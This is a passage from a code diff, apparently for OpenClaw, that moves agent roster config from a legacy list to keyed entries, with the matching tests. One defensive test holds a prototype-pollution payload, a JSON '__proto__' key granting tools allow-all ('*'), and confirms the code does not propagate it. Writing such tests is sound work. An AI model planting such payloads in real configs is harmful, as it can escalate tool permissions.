], + }, + }); + + expect(persisted.agents).not.toHaveProperty("list"); + expect(persisted.agents?.entries).toMatchObject({ + main: { default: true }, + ops: { workspace: "/srv/ops" }, + worker: { workspace: expect.any(String) }, + }); + }); + + it("preserves a legacy list byte-for-byte during a non-roster mutation", async () => { + const state = await createOpenClawTestState({ + layout: "state-only", + scenario: "empty", + label: "legacy-roster-non-roster-write", + }); + const list = [ + { id: "main", default: true }, + { id: "ops", workspace: "/srv/ops" }, + ]; + try { + await state.writeConfig({ agents: { list }, gateway: { port: 18789 } }); + await mutateConfigFileWithRetry({ + mutate: (config) => { + config.gateway = { ...config.gateway, port: 19001 }; + }, + }); + + const persisted = JSON.parse(await fs.readFile(state.configPath, "utf8")) as OpenClawConfig; + expect(JSON.stringify(persisted.agents?.list)).toBe(JSON.stringify(list)); + expect(persisted.agents).not.toHaveProperty("entries"); + expect(persisted.gateway?.port).toBe(19001); + } finally { + closeOpenClawStateDatabaseForTest(); + await state.cleanup(); + } + }); +}); diff --git a/src/agents/agent-create.test.ts b/src/agents/agent-create.test.ts index 984721e94fe0..d76f4b67ecef 100644 --- a/src/agents/agent-create.test.ts +++ b/src/agents/agent-create.test.ts @@ -72,7 +72,7 @@ import { createAgent } from "./agent-create.js"; describe("createAgent", () => { beforeEach(() => { vi.clearAllMocks(); - mocks.config = {}; + mocks.config = { agents: { list: [{ id: "main", default: true }] } }; mocks.persisted = {}; mocks.readAgentDeletionJournal.mockReturnValue(undefined); mocks.claimCompletedAgentDeletion.mockReturnValue(true); @@ -93,9 +93,11 @@ describe("createAgent", () => { async ({ transform, }: { - transform: (config: Record) => Promise; + transform: (config: Record, context: unknown) => Promise; }) => { - const transformed = (await transform(structuredClone(mocks.config))) as { + const transformed = (await transform(structuredClone(mocks.config), { + snapshot: { exists: false }, + })) as { nextConfig: Record; result: unknown; }; @@ -111,6 +113,10 @@ describe("createAgent", () => { status: "error", reason: "invalid-name", }); + await expect(createAgent({ name: "###" })).resolves.toMatchObject({ + status: "error", + reason: "invalid-name", + }); for (const name of ["main", "OpenClaw", "crestodian"]) { await expect(createAgent({ name })).resolves.toMatchObject({ status: "error", @@ -132,8 +138,208 @@ describe("createAgent", () => { }); }); + it("accepts a complete staged entry", async () => { + const result = await createAgent({ + entry: { + id: "researcher", + name: "Researcher", + workspace: "/tmp/staged-work", + agentDir: "/tmp/staged-agent", + model: "openai/gpt-5.5", + identity: { name: "Researcher", emoji: "🔎" }, + }, + }); + + expect(result).toMatchObject({ + status: "created", + agentId: "researcher", + workspace: "/tmp/staged-work", + agentDir: "/tmp/staged-agent", + }); + expect(mocks.persisted).toMatchObject({ + agents: { + entries: { + researcher: expect.objectContaining({ model: "openai/gpt-5.5" }), + }, + }, + }); + expect((mocks.persisted.agents as { list?: unknown }).list).toBeUndefined(); + }); + + it("keeps the first staged roster entry as the default", async () => { + mocks.config = { agents: { list: [] } }; + + await createAgent({ + entry: { id: "researcher", name: "Researcher", default: false }, + }); + + expect(mocks.persisted).toMatchObject({ + agents: { entries: { researcher: expect.objectContaining({ default: true }) } }, + }); + }); + + it.each([ + { + label: "staged model only", + entryModel: "openai/staged", + paramsModel: undefined, + }, + { + label: "staged model over explicit parameter", + entryModel: "openai/staged", + paramsModel: "openai/parameter", + }, + ])( + "preserves $label when workspace setup normalizes the path", + async ({ entryModel, paramsModel }) => { + mocks.ensureAgentWorkspace.mockResolvedValue({ + dir: "/normalized/work", + bootstrapPending: true, + }); + + await createAgent({ + entry: { + id: "researcher", + name: "Researcher", + workspace: "/staged/work", + model: entryModel, + }, + model: paramsModel, + }); + + expect(mocks.persisted).toMatchObject({ + agents: { + entries: { + researcher: expect.objectContaining({ + model: entryModel, + workspace: "/normalized/work", + }), + }, + }, + }); + }, + ); + + it("preserves every legacy-list agent when staging a new entry", async () => { + mocks.config = { + agents: { + list: [ + { id: "main", default: true, name: "Main" }, + { id: "ops", name: "Ops" }, + ], + }, + }; + + await createAgent({ + entry: { id: "researcher", name: "Researcher", model: "openai/gpt-5.5" }, + }); + + expect(mocks.persisted).toMatchObject({ + agents: { + entries: { + main: { default: true, name: "Main" }, + ops: { name: "Ops" }, + researcher: expect.objectContaining({ model: "openai/gpt-5.5" }), + }, + }, + }); + expect((mocks.persisted.agents as { list?: unknown }).list).toBeUndefined(); + }); + + it("provisions the injected main roster only through a bootstrap entry", async () => { + await expect( + createAgent({ + entry: { + id: "main", + name: "main", + default: true, + workspace: "/tmp/main-work", + }, + }), + ).resolves.toMatchObject({ status: "existing", agentId: "main" }); + expect(mocks.ensureAgentWorkspace).toHaveBeenCalledOnce(); + expect(mocks.persisted).toMatchObject({ + agents: { entries: { main: expect.objectContaining({ workspace: "/tmp/main-work" }) } }, + }); + }); + + it("does not overwrite an already materialized main agent", async () => { + mocks.config = { + agents: { + list: [{ id: "main", default: true, name: "Existing", workspace: "/tmp/existing" }], + }, + }; + mocks.resolveAgentWorkspaceDir.mockReturnValueOnce("/tmp/existing"); + + await expect( + createAgent({ + entry: { id: "main", name: "Replacement", default: true, workspace: "/tmp/new" }, + }), + ).resolves.toMatchObject({ + status: "existing", + name: "Existing", + workspace: "/tmp/existing", + bootstrapPending: false, + }); + expect(mocks.ensureAgentWorkspace).not.toHaveBeenCalled(); + }); + + it("does not materialize a minimal main entry from a persisted snapshot", async () => { + mocks.resolveAgentWorkspaceDir.mockReturnValueOnce("/tmp/persisted"); + mocks.transformConfigFileWithRetry.mockImplementationOnce(async ({ transform }) => { + const transformed = await transform(structuredClone(mocks.config), { + snapshot: { exists: true }, + }); + return { ...transformed, result: transformed.result }; + }); + + await expect( + createAgent({ + entry: { id: "main", default: true, workspace: "/tmp/replacement" }, + }), + ).resolves.toMatchObject({ status: "existing", workspace: "/tmp/persisted" }); + expect(mocks.ensureAgentWorkspace).not.toHaveBeenCalled(); + }); + + it("rejects a default marker when a roster already exists", async () => { + const before = structuredClone(mocks.config); + + await expect( + createAgent({ + entry: { id: "researcher", name: "Researcher", default: true }, + }), + ).resolves.toMatchObject({ + status: "error", + reason: "default-conflict", + message: expect.stringContaining("Reassign the default separately"), + }); + expect(mocks.config).toEqual(before); + expect(mocks.persisted).toEqual({}); + expect(mocks.ensureAgentWorkspace).not.toHaveBeenCalled(); + }); + + it("rejects a concurrent non-main roster during main bootstrap", async () => { + const transformConfig = vi.fn(async ({ transform }) => + transform({ agents: { list: [{ id: "main" }, { id: "ops", default: true }] } }), + ); + + await expect( + createAgent({ + entry: { id: "main", default: true, workspace: "/tmp/main" }, + transformConfig, + }), + ).resolves.toMatchObject({ + status: "error", + reason: "default-conflict", + message: expect.stringContaining("Reassign the default separately"), + }); + expect(mocks.ensureAgentWorkspace).not.toHaveBeenCalled(); + }); + it("respects skipBootstrap from the current config", async () => { - mocks.config = { agents: { defaults: { skipBootstrap: true } } }; + mocks.config = { + agents: { defaults: { skipBootstrap: true }, list: [{ id: "main", default: true }] }, + }; await createAgent({ name: "researcher", workspace: "/tmp/work" }); @@ -249,7 +455,9 @@ describe("createAgent", () => { }); it("claims a recovered completed tombstone only once for an existing roster entry", async () => { - mocks.config = { agents: { list: [{ id: "researcher" }] } }; + mocks.config = { + agents: { list: [{ id: "main", default: true }, { id: "researcher" }] }, + }; mocks.readAgentDeletionJournal.mockReturnValue({ operationId: "delete-1", cleanupCompleted: true, @@ -279,7 +487,9 @@ describe("createAgent", () => { }); it("rejects a concurrent duplicate from the mutation snapshot", async () => { - mocks.config = { agents: { list: [{ id: "researcher" }] } }; + mocks.config = { + agents: { list: [{ id: "main", default: true }, { id: "researcher" }] }, + }; await expect(createAgent({ name: "researcher" })).resolves.toMatchObject({ status: "error", @@ -295,7 +505,7 @@ describe("createAgent", () => { }); const transformConfig = vi.fn(async ({ maxAttempts, transform }) => { expect(maxAttempts).toBe(1); - return await transform({ agents: { list: [] } }); + return await transform({ agents: { list: [{ id: "main", default: true }] } }); }); await expect( diff --git a/src/agents/agent-create.ts b/src/agents/agent-create.ts index 22bec227538b..774f86d9c2f4 100644 --- a/src/agents/agent-create.ts +++ b/src/agents/agent-create.ts @@ -8,12 +8,15 @@ import { } from "../commands/agents.config.js"; import { transformConfigFileWithRetry, withConfigMutationExclusive } from "../config/config.js"; import { resolveSessionTranscriptsDirForAgent } from "../config/sessions/paths.js"; +import type { OptionalBootstrapFileName } from "../config/types.agent-defaults.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { FsSafeError, root } from "../infra/fs-safe.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { normalizeAgentId } from "../routing/session-key.js"; import { readAgentDeletionJournal } from "../state/agent-deletion-journal.js"; import { isReservedSystemAgentId } from "../system-agent/agent-id.js"; import { resolveUserPath } from "../utils.js"; import { claimCompletedAgentDeletion } from "./agent-lifecycle-registry.js"; +import { toAgentEntriesRecord } from "./agent-scope-config.js"; import { resolveAgentDir, resolveAgentWorkspaceDir } from "./agent-scope.js"; import { createAgentIdentityConfig, @@ -22,9 +25,11 @@ import { } from "./identity-file.js"; import { DEFAULT_IDENTITY_FILENAME, ensureAgentWorkspace } from "./workspace.js"; +const RESERVED_BOOTSTRAP_AGENT_ID = "main"; + type CreateAgentResult = | { - status: "created"; + status: "created" | "existing"; agentId: string; name: string; workspace: string; @@ -38,6 +43,7 @@ type CreateAgentResult = reason: | "invalid-name" | "reserved-id" + | "default-conflict" | "already-exists" | "deletion-pending" | "invalid-bindings" @@ -47,19 +53,25 @@ type CreateAgentResult = }; type CreateError = Extract; +type AgentEntryConfig = NonNullable["entries"]>[string]; +type CreateAgentEntry = AgentEntryConfig & { id: string }; type CreateAgentParams = { - name: string; + name?: string; + entry?: CreateAgentEntry; workspace?: string; model?: string; emoji?: unknown; avatar?: unknown; agentDir?: string; + skipBootstrap?: boolean; + skipOptionalBootstrapFiles?: OptionalBootstrapFileName[]; bindingSpecs?: string[]; transformConfig?: typeof transformConfigFileWithRetry; }; class DuplicateAgentError extends Error {} +class DefaultAgentConflictError extends Error {} class InvalidAgentBindingsError extends Error {} function createError( @@ -70,6 +82,19 @@ function createError( return { status: "error", reason, message, ...(agentId ? { agentId } : {}) }; } +/** True when raw user input contains a character that can survive agent-id normalization. */ +function hasValidRawAgentIdCharacters(value: string): boolean { + return /[a-z0-9]/iu.test(value); +} + +function isInjectedBootstrapMainEntry(entry: CreateAgentEntry | undefined): boolean { + return ( + entry?.id === RESERVED_BOOTSTRAP_AGENT_ID && + entry.default === true && + Object.keys(entry).every((key) => key === "id" || key === "default") + ); +} + async function writeIdentityFile(params: { workspaceDir: string; identity: NonNullable>; @@ -92,27 +117,38 @@ async function writeIdentityFile(params: { } export async function createAgent(params: CreateAgentParams): Promise { - const rawName = params.name.trim(); + const rawName = (params.entry?.name?.trim() || params.entry?.id || params.name || "").trim(); if (!rawName) { return createError("invalid-name", "agent name is required"); } - const agentId = normalizeAgentId(rawName); - if (agentId === DEFAULT_AGENT_ID || isReservedSystemAgentId(agentId)) { + const rawId = params.entry?.id ?? rawName; + if (!hasValidRawAgentIdCharacters(rawId)) { + return createError("invalid-name", `agent name "${rawName}" has no valid id characters`); + } + const agentId = normalizeAgentId(rawId); + const isBootstrapMain = agentId === RESERVED_BOOTSTRAP_AGENT_ID && params.entry?.default === true; + if ( + (!isBootstrapMain && agentId === RESERVED_BOOTSTRAP_AGENT_ID) || + isReservedSystemAgentId(agentId) + ) { return createError("reserved-id", `"${agentId}" is reserved`, agentId); } const safeName = sanitizeAgentIdentityLine(rawName); const model = normalizeOptionalString(params.model); - const identity = createAgentIdentityConfig({ - name: safeName, - emoji: params.emoji, - avatar: params.avatar, - }) ?? { name: safeName }; - const explicitWorkspace = params.workspace?.trim() - ? resolveUserPath(params.workspace.trim()) + const identity = params.entry?.identity ?? + createAgentIdentityConfig({ + name: safeName, + emoji: params.emoji, + avatar: params.avatar, + }) ?? { name: safeName }; + const requestedWorkspace = params.entry?.workspace ?? params.workspace; + const explicitWorkspace = requestedWorkspace?.trim() + ? resolveUserPath(requestedWorkspace.trim()) : undefined; - const explicitAgentDir = params.agentDir?.trim() - ? resolveUserPath(params.agentDir.trim()) + const requestedAgentDir = params.entry?.agentDir ?? params.agentDir; + const explicitAgentDir = requestedAgentDir?.trim() + ? resolveUserPath(requestedAgentDir.trim()) : undefined; const transformConfig = params.transformConfig ?? transformConfigFileWithRetry; @@ -139,22 +175,83 @@ export async function createAgent(params: CreateAgentParams): Promise({ afterWrite: { mode: "auto" }, maxAttempts: 1, - transform: async (currentConfig) => { - if (findAgentEntryIndex(listAgentEntries(currentConfig), agentId) >= 0) { + transform: async (currentConfig, context) => { + const currentEntries = listAgentEntries(currentConfig); + const existingIndex = findAgentEntryIndex(currentEntries, agentId); + const existingEntry = currentEntries[existingIndex]; + const currentDefaults = currentEntries.filter((entry) => entry.default === true); + const stagedDefaultMatchesCurrent = + existingEntry?.default === true && currentDefaults.length === 1; + if ( + params.entry?.default === true && + currentEntries.length > 0 && + !stagedDefaultMatchesCurrent + ) { + throw new DefaultAgentConflictError(); + } + if (existingIndex >= 0 && !isBootstrapMain) { throw new DuplicateAgentError(); } + if ( + existingIndex >= 0 && + isBootstrapMain && + (!isInjectedBootstrapMainEntry(existingEntry) || context.snapshot.exists) + ) { + return { + nextConfig: currentConfig, + result: { + status: "existing", + agentId, + name: existingEntry?.name ?? safeName, + workspace: resolveAgentWorkspaceDir(currentConfig, agentId), + agentDir: resolveAgentDir(currentConfig, agentId), + bootstrapPending: false, + }, + }; + } + const workspaceDir = explicitWorkspace ?? resolveAgentWorkspaceDir(currentConfig, agentId); const agentDir = explicitAgentDir ?? resolveAgentDir(currentConfig, agentId); - let nextConfig = applyAgentConfig(currentConfig, { - agentId, - name: safeName, - workspace: workspaceDir, - agentDir, - model, - identity, - }); + const materializeInjectedMain = + existingIndex >= 0 && + isBootstrapMain && + isInjectedBootstrapMainEntry(existingEntry) && + !context.snapshot.exists; + let nextConfig = + existingIndex < 0 || materializeInjectedMain + ? applyAgentConfig(currentConfig, { + agentId, + name: safeName, + workspace: workspaceDir, + agentDir, + model, + identity, + }) + : currentConfig; + if (params.entry) { + const list = listAgentEntries(nextConfig); + const index = findAgentEntryIndex(list, agentId); + list[index] = { + ...list[index], + ...params.entry, + id: agentId, + name: safeName, + workspace: workspaceDir, + agentDir, + identity, + ...(list.length === 1 ? { default: true } : {}), + }; + const { list: _legacyList, ...agentsConfig } = nextConfig.agents ?? {}; + nextConfig = { + ...nextConfig, + agents: { + ...agentsConfig, + entries: toAgentEntriesRecord(list), + }, + }; + } const bindingParse = parseBindingSpecs({ agentId, specs: params.bindingSpecs, @@ -172,14 +269,30 @@ export async function createAgent(params: CreateAgentParams): Promise= 0 && currentEntry) { + entries[entryIndex] = { + ...currentEntry, + id: agentId, + workspace: workspace.dir, + }; + const { list: _legacyList, ...agentsConfig } = nextConfig.agents ?? {}; + nextConfig = { + ...nextConfig, + agents: { ...agentsConfig, entries: toAgentEntriesRecord(entries) }, + }; + } } await fs.mkdir(resolveSessionTranscriptsDirForAgent(agentId), { recursive: true }); // A creation-time name is config, not proof that the fresh workspace hatched. @@ -191,7 +304,7 @@ export async function createAgent(params: CreateAgentParams): Promise= 0 ? "existing" : "created", agentId, name: safeName, workspace: workspace.dir, @@ -217,6 +330,13 @@ export async function createAgent(params: CreateAgentParams): Promise normalizeAgentId(entry.id) === agentId) - ?.agentRuntime?.id - : undefined; + const agentRuntime = + agentId && params.config + ? resolveAgentConfig(params.config, agentId)?.agentRuntime?.id + : undefined; return normalizeOptionalAgentRuntimeId( agentRuntime ?? params.config?.agents?.defaults?.agentRuntime?.id, ); diff --git a/src/agents/agent-scope-config.test.ts b/src/agents/agent-scope-config.test.ts index 2351669caf30..b6e42985fa04 100644 --- a/src/agents/agent-scope-config.test.ts +++ b/src/agents/agent-scope-config.test.ts @@ -1,7 +1,79 @@ // Agent scope tests cover which per-agent fields may flatten into runtime defaults. -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { resolveAgentConfig } from "./agent-scope-config.js"; +import { + listAgentEntriesWithSource, + listAgentIds, + resolveAgentConfig, + resolveDefaultAgentId, + tryResolveDefaultAgentId, +} from "./agent-scope-config.js"; + +vi.unmock("./agent-scope-config.js"); + +describe("agent roster resolution", () => { + it("preserves the Plugin SDK fallback only when the roster property is absent", () => { + expect(listAgentIds({})).toEqual(["main"]); + expect(listAgentIds({ agents: { entries: {} } })).toEqual([]); + expect(resolveDefaultAgentId({})).toBe("main"); + expect(resolveDefaultAgentId({ agents: { list: undefined } })).toBe("main"); + expect(resolveDefaultAgentId({ agents: { defaults: { workspace: "/srv/main" } } })).toBe( + "main", + ); + expect(() => resolveDefaultAgentId({ agents: { entries: {} } })).toThrow( + "No agents configured", + ); + expect(() => resolveDefaultAgentId({ agents: { list: [] } })).toThrow("No agents configured"); + }); + + it("preserves legacy first-entry selection while diagnostic lookup stays strict", () => { + const missingDefault = { agents: { list: [{ id: "alpha" }, { id: "beta" }] } }; + expect(resolveDefaultAgentId(missingDefault)).toBe("alpha"); + expect(tryResolveDefaultAgentId(missingDefault)).toBeUndefined(); + expect( + resolveDefaultAgentId({ + agents: { list: [{ id: "alpha" }, { id: "beta", default: true }] }, + }), + ).toBe("beta"); + const duplicateDefaults = { + agents: { + list: [ + { id: "alpha", default: true }, + { id: "beta", default: true }, + ], + }, + }; + expect(resolveDefaultAgentId(duplicateDefaults)).toBe("alpha"); + expect(tryResolveDefaultAgentId(duplicateDefaults)).toBeUndefined(); + }); + + it("offers a non-throwing diagnostic lookup for malformed rosters", () => { + expect(tryResolveDefaultAgentId({ agents: { list: [{ id: "alpha" }] } })).toBeUndefined(); + for (const marker of ["false", 1]) { + expect( + tryResolveDefaultAgentId({ + agents: { entries: { alpha: { default: marker } } }, + } as unknown as OpenClawConfig), + ).toBeUndefined(); + } + }); + + it("copies own __proto__ fields without changing the listed entry prototype", () => { + const entry = JSON.parse('{"__proto__":{"tools":{"allow":["*"]}}}') as Record; + const [listed] = listAgentEntriesWithSource({ + agents: { entries: { ops: entry } }, + } as OpenClawConfig); + expect(listed).toBeDefined(); + const listedEntry = listed!.entry; + + expect(Object.getPrototypeOf(listedEntry)).toBe(Object.prototype); + expect(Object.hasOwn(listedEntry, "__proto__")).toBe(true); + expect(Object.getOwnPropertyDescriptor(listedEntry, "__proto__")?.value).toEqual({ + tools: { allow: ["*"] }, + }); + expect(listedEntry.tools).toBeUndefined(); + }); +}); describe("resolveAgentConfig model policy", () => { it("keeps an empty per-agent policy inherited instead of flattening it", () => { diff --git a/src/agents/agent-scope-config.ts b/src/agents/agent-scope-config.ts index 2cfa901b7173..5f0ac9876acb 100644 --- a/src/agents/agent-scope-config.ts +++ b/src/agents/agent-scope-config.ts @@ -8,12 +8,18 @@ import type { AgentDefaultsConfig, } from "../config/types.agent-defaults.js"; import type { OpenClawConfig } from "../config/types.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; import { resolveUserPath } from "../utils.js"; import { registerResolvedAgentDir } from "./agent-dir-registry.js"; import { resolveDefaultAgentWorkspaceDir } from "./workspace-default.js"; type AgentEntry = NonNullable["list"]>[number]; +type AgentEntriesConfig = NonNullable["entries"]>; +type AgentRosterProperty = { kind: "entries" | "list"; value: unknown }; +export type ListedAgentEntry = { + entry: AgentEntry; + source: { kind: "entries"; key: string } | { kind: "list"; index: number }; +}; /** Per-agent config after applying agent defaults and normalizing scalar fields. */ export type ResolvedAgentConfig = { @@ -22,7 +28,10 @@ export type ResolvedAgentConfig = { agentDir?: string; model?: AgentEntry["model"]; models?: AgentEntry["models"]; + params?: AgentEntry["params"]; + runtime?: AgentEntry["runtime"]; modelPolicy?: AgentEntry["modelPolicy"]; + agentRuntime?: AgentEntry["agentRuntime"]; utilityModel?: AgentEntry["utilityModel"]; thinkingDefault?: AgentEntry["thinkingDefault"]; verboseDefault?: AgentDefaultsConfig["verboseDefault"]; @@ -48,41 +57,76 @@ export type ResolvedAgentConfig = { tools?: AgentEntry["tools"]; }; -let defaultAgentWarned = false; - -function warnMultipleDefaultAgents(): void { - void import("../logging/subsystem.js") - .then(({ createSubsystemLogger }) => { - createSubsystemLogger("agent-scope").warn( - "Multiple agents marked default=true; using the first entry as default.", - ); - }) - .catch(() => undefined); -} - /** Strip null bytes from paths to prevent ENOTDIR errors. */ function stripNullBytes(s: string): string { return s.replaceAll("\0", ""); } /** Lists valid configured agent entries from config. */ -export function listAgentEntries(cfg: OpenClawConfig): AgentEntry[] { - const entries = cfg.agents?.entries; - if (entries && typeof entries === "object") { - return Object.entries(entries).map(([id, entry]) => Object.assign({ id }, entry)); +export function listAgentEntriesWithSource(cfg: OpenClawConfig): ListedAgentEntry[] { + const roster = readAgentRosterProperty(cfg); + if (roster?.kind === "entries" && roster.value && typeof roster.value === "object") { + return Object.entries(roster.value).map(([id, entry]) => ({ + entry: { ...(entry as Omit), id }, + source: { kind: "entries", key: id }, + })); } - const list = cfg.agents?.list; - if (!Array.isArray(list)) { + if (roster?.kind !== "list" || !Array.isArray(roster.value)) { return []; } - return list.filter((entry): entry is AgentEntry => entry !== null && typeof entry === "object"); + return roster.value.flatMap((entry, index) => + entry !== null && typeof entry === "object" + ? [{ entry: entry as AgentEntry, source: { kind: "list" as const, index } }] + : [], + ); } -/** Lists unique configured agent ids, falling back to the default agent id. */ +/** Lists valid configured agent entries from either supported representation. */ +export function listAgentEntries(cfg: OpenClawConfig): AgentEntry[] { + return listAgentEntriesWithSource(cfg).map(({ entry }) => entry); +} + +/** Converts either supported roster representation into the canonical keyed shape. */ +export function toAgentEntriesRecord(entries: readonly AgentEntry[]): AgentEntriesConfig { + return Object.fromEntries( + entries.map((entry) => { + const { id, ...config } = entry; + return [id, config]; + }), + ); +} + +/** Reads the explicitly owned raw roster without normalizing malformed values. */ +export function readAgentRosterProperty(raw: unknown): AgentRosterProperty | undefined { + if (!raw || typeof raw !== "object" || Array.isArray(raw)) { + return undefined; + } + const agents = (raw as { agents?: unknown }).agents; + if (!agents || typeof agents !== "object" || Array.isArray(agents)) { + return undefined; + } + const entries = (agents as Record)["entries"]; + if (Object.hasOwn(agents, "entries") && entries !== undefined) { + return { kind: "entries", value: entries }; + } + const list = (agents as Record)["list"]; + if (Object.hasOwn(agents, "list") && list !== undefined) { + return { kind: "list", value: list }; + } + return undefined; +} + +/** True when raw config explicitly owns either supported roster representation. */ +export function hasAgentRosterProperty(raw: unknown): boolean { + return readAgentRosterProperty(raw) !== undefined; +} + +/** Lists unique configured agent ids. */ export function listAgentIds(cfg: OpenClawConfig): string[] { const agents = listAgentEntries(cfg); - if (agents.length === 0) { - return [DEFAULT_AGENT_ID]; + if (agents.length === 0 && !hasAgentRosterProperty(cfg)) { + // Match resolveDefaultAgentId's Plugin SDK compatibility for raw pre-roster configs. + return [LEGACY_IMPLICIT_AGENT_ID]; } const seen = new Set(); const ids: string[] = []; @@ -94,29 +138,58 @@ export function listAgentIds(cfg: OpenClawConfig): string[] { seen.add(id); ids.push(id); } - return ids.length > 0 ? ids : [DEFAULT_AGENT_ID]; + return ids; } -/** Resolves the default agent id, warning once when multiple defaults exist. */ +/** Resolves the configured default while preserving the shipped Plugin SDK legacy shape. */ export function resolveDefaultAgentId(cfg: OpenClawConfig): string { const agents = listAgentEntries(cfg); if (agents.length === 0) { - return DEFAULT_AGENT_ID; + // Runtime config loading materializes this entry. Keep the roster-property-absent + // case for shipped Plugin SDK callers that still pass a pre-roster config object. + if (!hasAgentRosterProperty(cfg)) { + return LEGACY_IMPLICIT_AGENT_ID; + } + throw new Error("No agents configured. Run `openclaw onboard` or `openclaw agents add` first."); } - const defaults = agents.filter((agent) => agent?.default); - if (defaults.length > 1 && !defaultAgentWarned) { - defaultAgentWarned = true; - warnMultipleDefaultAgents(); - } - const chosen = (defaults[0] ?? agents[0])?.id?.trim(); - return normalizeAgentId(chosen || DEFAULT_AGENT_ID); + // Runtime config loading canonicalizes zero/multiple markers before this helper is called. + // External SDK callers may still pass the shipped list shape, which chose the first candidate. + return normalizeAgentId((agents.find((agent) => agent?.default === true) ?? agents[0])!.id); } -function resolveAgentEntry(cfg: OpenClawConfig, agentId: string): AgentEntry | undefined { +/** Returns the configured default when diagnostics must tolerate an invalid raw roster. */ +export function tryResolveDefaultAgentId(cfg: OpenClawConfig): string | undefined { + const agents = listAgentEntries(cfg); + const defaults = agents.filter((agent) => agent?.default === true); + if (defaults.length !== 1) { + return undefined; + } + return normalizeAgentId(defaults[0]!.id); +} + +export function resolveAgentEntry(cfg: OpenClawConfig, agentId: string): AgentEntry | undefined { const id = normalizeAgentId(agentId); return listAgentEntries(cfg).find((entry) => normalizeAgentId(entry.id) === id); } +/** Resolves the authored entry object for in-place canonical config mutations. */ +export function resolveMutableAgentEntry( + cfg: OpenClawConfig, + agentId: string, +): Pick | undefined { + const id = normalizeAgentId(agentId); + const roster = readAgentRosterProperty(cfg); + if (roster?.kind === "entries" && roster.value && typeof roster.value === "object") { + const entries = roster.value as AgentEntriesConfig; + const key = Object.keys(entries).find((candidate) => normalizeAgentId(candidate) === id); + return key ? entries[key] : undefined; + } + if (roster?.kind === "list" && Array.isArray(roster.value)) { + return (roster.value as AgentEntry[]).find((entry) => normalizeAgentId(entry?.id) === id); + } + return undefined; +} + /** Resolves merged config for one agent id. */ export function resolveAgentConfig( cfg: OpenClawConfig, @@ -137,7 +210,10 @@ export function resolveAgentConfig( ? entry.model : undefined, ...(entry.models ? { models: entry.models } : {}), + ...(entry.params ? { params: entry.params } : {}), + ...(entry.runtime ? { runtime: entry.runtime } : {}), ...(hasExplicitModelPolicyAllow(entry.modelPolicy) ? { modelPolicy: entry.modelPolicy } : {}), + ...(entry.agentRuntime ? { agentRuntime: entry.agentRuntime } : {}), utilityModel: readStringValue(entry.utilityModel), thinkingDefault: entry.thinkingDefault, verboseDefault: entry.verboseDefault ?? agentDefaults?.verboseDefault, diff --git a/src/agents/agent-scope.test.ts b/src/agents/agent-scope.test.ts index 3be92c5af94b..f6e5555173e9 100644 --- a/src/agents/agent-scope.test.ts +++ b/src/agents/agent-scope.test.ts @@ -1118,7 +1118,10 @@ describe("resolveAgentConfig", () => { it("uses OPENCLAW_HOME for default agent workspace", () => { const home = path.join(path.sep, "srv", "openclaw-home"); withEnv({ OPENCLAW_HOME: home }, () => { - const workspace = resolveAgentWorkspaceDir({} as OpenClawConfig, "main"); + const workspace = resolveAgentWorkspaceDir( + { agents: { entries: { main: { default: true } } } }, + "main", + ); expect(workspace).toBe(path.join(path.resolve(home), ".openclaw", "workspace")); }); }); @@ -1131,7 +1134,10 @@ describe("resolveAgentConfig", () => { OPENCLAW_HOME: path.join(path.sep, "srv", "openclaw-home"), }, () => { - const workspace = resolveAgentWorkspaceDir({} as OpenClawConfig, "main"); + const workspace = resolveAgentWorkspaceDir( + { agents: { entries: { main: { default: true } } } }, + "main", + ); expect(workspace).toBe(path.resolve(workspaceDir)); }, ); diff --git a/src/agents/agent-scope.ts b/src/agents/agent-scope.ts index b0960a107a14..a14ac752ee15 100644 --- a/src/agents/agent-scope.ts +++ b/src/agents/agent-scope.ts @@ -26,19 +26,24 @@ import { resolveEffectiveAgentSkillFilter } from "../skills/discovery/agent-filt import { resolveUserPath } from "../utils.js"; import { listAgentIds, + resolveMutableAgentEntry, resolveAgentConfig, resolveAgentWorkspaceDir, resolveDefaultAgentId, } from "./agent-scope-config.js"; export { listAgentEntries, + listAgentEntriesWithSource, listAgentIds, + resolveMutableAgentEntry, + toAgentEntriesRecord, resolveAgentConfig, resolveAgentContextLimits, resolveAgentDir, resolveDefaultAgentDir, resolveAgentWorkspaceDir, resolveDefaultAgentId, + tryResolveDefaultAgentId, type ResolvedAgentConfig, } from "./agent-scope-config.js"; @@ -367,20 +372,6 @@ export function resolveAgentEffectiveModelPrimary( ); } -function findMutableAgentEntry( - cfg: OpenClawConfig, - agentId: string, -): Pick | undefined { - const id = normalizeAgentId(agentId); - const entryKey = Object.keys(cfg.agents?.entries ?? {}).find( - (key) => normalizeAgentId(key) === id, - ); - if (entryKey) { - return cfg.agents?.entries?.[entryKey]; - } - return cfg.agents?.list?.find((entry) => normalizeAgentId(entry?.id) === id); -} - function updateAgentModelPrimary( existing: AgentModelConfig | undefined, primary: string, @@ -403,7 +394,7 @@ export function setAgentEffectiveModelPrimary( // forceAgent pins the write to the agent entry even without an explicit // model, so a per-agent override never rewrites the shared default route. if (options.forceAgent || resolveAgentExplicitModelPrimary(cfg, id)) { - const entry = findMutableAgentEntry(cfg, id); + const entry = resolveMutableAgentEntry(cfg, id); if (entry) { entry.model = updateAgentModelPrimary(entry.model, primary); return "agent"; @@ -543,10 +534,12 @@ export function resolveRunModelFallbacksOverride(params: { if (!params.cfg) { return undefined; } - return resolveAgentModelFallbacksOverride( - params.cfg, - resolveFallbackAgentId({ agentId: params.agentId, sessionKey: params.sessionKey }), - ); + const explicitAgentId = normalizeOptionalString(params.agentId); + const agentId = explicitAgentId + ? normalizeAgentId(explicitAgentId) + : (parseAgentSessionKey(params.sessionKey)?.agentId ?? + (listAgentIds(params.cfg).length > 0 ? resolveDefaultAgentId(params.cfg) : undefined)); + return agentId ? resolveAgentModelFallbacksOverride(params.cfg, agentId) : undefined; } export function hasConfiguredModelFallbacks(params: { diff --git a/src/agents/agent-tools.policy.test.ts b/src/agents/agent-tools.policy.test.ts index f1b007fed0a0..a99eef751101 100644 --- a/src/agents/agent-tools.policy.test.ts +++ b/src/agents/agent-tools.policy.test.ts @@ -395,6 +395,32 @@ 